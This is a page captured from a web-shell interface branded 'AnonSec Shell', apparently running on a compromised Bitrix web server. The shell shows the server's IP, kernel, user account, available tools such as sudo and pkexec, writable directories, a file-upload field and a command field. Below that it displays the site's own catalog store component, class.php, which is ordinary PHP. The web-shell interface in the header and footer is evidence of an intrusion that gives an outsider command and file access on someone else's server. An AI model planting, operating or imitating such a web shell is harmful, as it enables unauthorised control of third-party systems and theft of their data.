AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.139.234.146
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/catalog.store.entity.details/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/catalog.store.entity.details/class.php
<?php

use Bitrix\Catalog\Access\AccessController;
use Bitrix\Catalog\Access\ActionDictionary;
use Bitrix\Catalog\StoreTable;
use Bitrix\Catalog\v2\Integration\UI\EntityEditor\StoreProvider;
use Bitrix\Main\Engine\Contract\Controllerable;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
use Bitrix\Main\Result;
use Bitrix\Main\UI\FileInputUtility;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

Loader::requireModule('catalog');

/**
 * Store view and edit form component.
 *
 * Params:
 * - ID - id entity (if new record can be empty or `0`);
 * - PATH_TO_DETAIL - URL template for detail page (variable with id must be named `#ID#`);
 */
class CatalogStoreEntityDetails extends CBitrixComponent implements Controllerable
{
	private int $entityId;
	private ?array $entityFields;
	private AccessController $accessController;

	private function init(): void
	{
		$this->entityId = (int)($this->arParams['ID'] ?? 0);
		$this->accessController = AccessController::getCurrent();
	}

	/**
	 * @inheritDoc
	 *
	 * @param array $arParams
	 *
	 * @return void
	 */
	public function onPrepareComponentParams($arParams)
	{
		$arParams['USER_FIELD_CREATE_PAGE_URL'] ??= null;

		return $arParams;
	}

	/**
	 * Is new entity.
	 *
	 * @return bool
	 */
	private function isNew(): bool
	{
		return !$this->entityId;
	}

	/**
	 * @inheritDoc
	 */
	public function executeComponent()
	{
		$this->init();

		if (!$this->checkAccess() || !$this->loadEntity())
		{
			$this->includeComponentTemplate();
			return;
		}

		$this->initForm();
		$this->includeComponentTemplate();
	}

	/**
	 * Init `arResult` form values.
	 *
	 * @return void
	 */
	private function initForm(): void
	{
		$provider = $this->getEditorProvider();

		$this->arResult['FORM'] = $provider->getFields();
		$this->arResult['FORM']['ENABLE_CONFIGURATION_UPDATE'] = ! $provider->isReadOnly();
	}

	/**
	 * Form fields provider.
	 *
	 * @return StoreProvider
	 */
	private function getEditorProvider(): StoreProvider
	{
		return new StoreProvider(
			$this->entityFields ?? [],
			$this->arParams['USER_FIELD_CREATE_PAGE_URL']
		);
	}

	/**
	 * Load entity if exists.
	 *
	 * @return bool
	 */
	private function loadEntity(): bool
	{
		if ($this->isNew())
		{
			return true;
		}

		$entity = StoreTable::getRowById($this->entityId);
		if (!$entity)
		{
			$this->arResult['ERROR']['TITLE'] = Loc::getMessage('CATALOG_STORE_DETAIL_NOT_FOUND_ERROR');
			$this->arResult['ERROR']['DESCRIPTION'] = '';
			return false;
		}

		$this->entityFields = $entity;
		return true;
	}

	/**
	 * Checks access and add errors.
	 *
	 * @return bool
	 */
	private function checkAccess(): bool
	{
		$can =
			$this->accessController->check(ActionDictionary::ACTION_STORE_MODIFY)
			|| $this->accessController->check(ActionDictionary::ACTION_STORE_VIEW)
		;
		if (!$can)
		{
			$this->arResult['ERROR']['TITLE'] = Loc::getMessage('CATALOG_STORE_DETAIL_ACCESS_DENIED_ERROR');
			return false;
		}

		return true;
	}

	/**
	 * @inheritDoc
	 */
	public function configureActions()
	{
		return [];
	}

	/**
	 * Save AJAX action.
	 *
	 * Data loaded from field 'data' of request.
	 *
	 * @return array
	 */
	public function saveAction(): array
	{
		global $APPLICATION;

		/**
		 * @var \CMain $APPLICATION
		 */

		$this->init();

		if (!$this->accessController->check(ActionDictionary::ACTION_STORE_MODIFY))
		{
			return [
				'ERROR' => Loc::getMessage('CATALOG_STORE_DETAIL_ACCESS_DENIED_ERROR'),
			];
		}

		$fields = (array)($this->request->get('data') ?: []);
		$fields = $this->prepareFileFields($fields);
		if (empty($fields))
		{
			return [
				'ERROR' => Loc::getMessage('CATALOG_STORE_DETAIL_EMPTY_REQUEST_ERROR'),
			];
		}

		$result = $this->validateFields($fields);
		if (!$result->isSuccess())
		{
			return [
				'ERROR' => join(', ', $result->getErrorMessages()),
			];
		}

		$id = $this->entityId;
		if ($id > 0)
		{
			$ret =  CCatalogStore::Update($id, $fields);
			if ($ret === false)
			{
				$ex = $APPLICATION->GetException();
				$error =
					$ex instanceof \CApplicationException
						? $ex->GetString()
						: 'Unknown error'
				;
				$result->addError(new Error($error));
			}
		}
		else
		{
			$id =  CCatalogStore::Add($fields);
			if ($id === false)
			{
				$ex = $APPLICATION->GetException();
				$error =
					$ex instanceof \CApplicationException
						? $ex->GetString()
						: 'Unknown error'
				;
				$result->addError(new Error($error));
			}
		}

		if (!$result->isSuccess())
		{
			return [
				'ERROR' => join(' ', $result->getErrorMessages()),
			];
		}

		$this->saveUserFields($id, $fields);

		return [
			'ENTITY_ID' => $id,
			'REDIRECT_URL' => $this->getDetailsUrl($id),
		];
	}

	/**
	 * Validate fields with editor provider info.
	 *
	 * @param array $fields
	 *
	 * @return Result
	 */
	private function validateFields(array $fields): Result
	{
		$result = new Result();

		$editorFields = $this->getEditorProvider()->getEntityFields();
		foreach ($editorFields as $field)
		{
			$name = $field['name'] ?? null;
			if (!$name)
			{
				continue;
			}

			if (($field['required'] ?? false) && empty($fields[$name]))
			{
				$isSetEmptyField = array_key_exists($name, $fields);
				if ($this->isNew() || $isSetEmptyField)
				{
					$message = Loc::getMessage('CATALOG_STORE_DETAIL_FIELD_REQUIRED_ERROR', [
						'#NAME#' => $field['title'] ?? $name,
					]);
					$result->addError(new Error($message));
				}
			}
		}

		return $result;
	}

	/**
	 * Zeroing fields with files if they are marked for deletion.
	 *
	 * @param array $fields
	 *
	 * @return array
	 */
	private function prepareFileFields(array $fields): array
	{
		$imageFields = [
			'IMAGE_ID',
		];
		foreach ($imageFields as $name)
		{
			$fileId = (int)($fields[$name] ?? 0);
			if ($fileId <= 0)
			{
				continue;
			}

			// mark as deleted
			$delName = "{$name}_del";
			if (
				isset($fields[$delName])
				&& (string)$fields[$name] === (string)$fields[$delName]
			)
			{
				$fields[$name] = null;
				continue;
			}

			// check as real uploaded file
			$uploaderControlId = mb_strtolower($name . '_uploader');
			$checkedFiles = FileInputUtility::instance()->checkFiles(
				$uploaderControlId,
				[$fileId]
			);
			if (empty($checkedFiles))
			{
				unset($fields[$name]);
				continue;
			}

			$fields[$name] = CFile::MakeFileArray($fileId);
		}

		return $fields;
	}

	/**
	 * @inheritDoc
	 */
	protected function listKeysSignedParameters()
	{
		return [
			'ID',
			'PATH_TO_DETAIL',
		];
	}

	/**
	 * Detail URL for store with id.
	 *
	 * @param int $id
	 *
	 * @return string
	 */
	private function getDetailsUrl(int $id): string
	{
		$url = (string)($this->arParams['PATH_TO_DETAIL'] ?? '');

		return str_replace('#ID#', $id, $url);
	}

	/**
	 * Save store user fields.
	 *
	 * @param int $storeId
	 * @param array $fields
	 *
	 * @return void
	 */
	private function saveUserFields(int $storeId, array $fields): void
	{
		$userFields = array_filter($fields, fn($key) => strpos($key, 'UF_') === 0, ARRAY_FILTER_USE_KEY);
		if (empty($userFields))
		{
			return;
		}

		$manager = new CUserTypeManager();
		$manager->Update(StoreTable::getUfId(), $storeId, $userFields);
	}
}

Anon7 - 2022
AnonSec Team